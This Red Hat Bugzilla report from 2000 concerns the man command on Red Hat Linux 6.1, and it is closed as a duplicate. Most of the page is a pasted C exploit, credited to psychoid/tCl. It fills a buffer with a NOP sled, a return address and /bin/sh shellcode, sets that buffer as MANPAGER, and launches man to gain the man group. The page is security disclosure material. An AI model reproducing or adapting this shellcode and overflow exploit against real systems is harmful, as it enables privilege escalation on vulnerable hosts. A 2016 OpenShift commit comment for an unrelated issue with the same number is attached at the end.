Bug 11037 - MANPAGER EXPLOIT
MANPAGER EXPLOIT
Status: CLOSED DUPLICATE of bug 9838
Product: Red Hat Linux
Classification: Retired
Component: man (Show other bugs)
6.1
All Linux
medium Severity medium
: ---
: ---
Assigned To: David Lawrence
: Security
Depends On:
Blocks:
  Show dependency treegraph
 
Reported: 2000-04-25 13:00 EDT by Kristian
Modified: 2016-10-22 01:37 EDT (History)
0 users

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 2000-05-25 10:41:55 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---


Attachments (Terms of Use)

  None (edit)
Description Kristian 2000-04-25 13:00:10 EDT
This is a man pager exploit.  I am not sure if it works, I am new to Linux,
but MANPAGER is set as root as the owner, and if this exploit does work
then it would allow root access which we all know is a bad thing.
Please note that I am not the author of this code, and I am not certain of
its source.

/*
 * MAN-Exploit for MANPAGER environmental variable.
 * rh 6.x, tested on rh 6.1
 * written by psychoid/tCl
 * gives egid man.
 *
 * Originally discovered by lcamtuf.
 * educational. yes.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   unsigned long offset;
   unsigned long addi=0xbfffacc4;

   u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"

"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"

"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                        "\xd7\xff\xff\xff/bin/sh";
 /* extreme nice shellycode */
   int i;

   if(argc<2)
   {
       offset=150;
   } else {
       offset=strtoul(argv[1],NULL,16);
   }
   printf("Building buffer for adress %-8x\n",offset+addi);

   buff = malloc(4062);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   printf("Nopping..\n");
   /* filling with nops */
   memset(ptr, 0x0, 4062);
   memset(ptr, 0x90, 4061);
   printf("Setting adress.. %-8x\n",ptr);ptr+=0xf71;
   addr_ptr=(long *)ptr;
   *(addr_ptr++) = offset + addi;
   /* shelly */
   printf("Copying shell code..\n");
   ptr=buff+0xf6f-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   *ptr++='\n';
   printf("Done. Setting environmental variable.\n");
   setenv("MANPAGER",buff,1);
   printf("Calling man..\n");
   execl("/usr/bin/man", "psychoid", "man", NULL);
   exit(0x0);
}
Comment 1 Preston Brown 2000-05-25 10:41:59 EDT
*** This bug has been marked as a duplicate of 9838 ***
Comment 2 openshift-github-bot 2016-10-22 01:37:33 EDT
Commit pushed to master at https://github.com/openshift/origin

https://github.com/openshift/origin/commit/8a79d343bedfd14f33c00c09fe8f4a94bb9bc78b
Merge pull request #11192 from soltysh/issue11037

Merged by openshift-bot

Note You need to log in before you can comment on or make changes to this bug.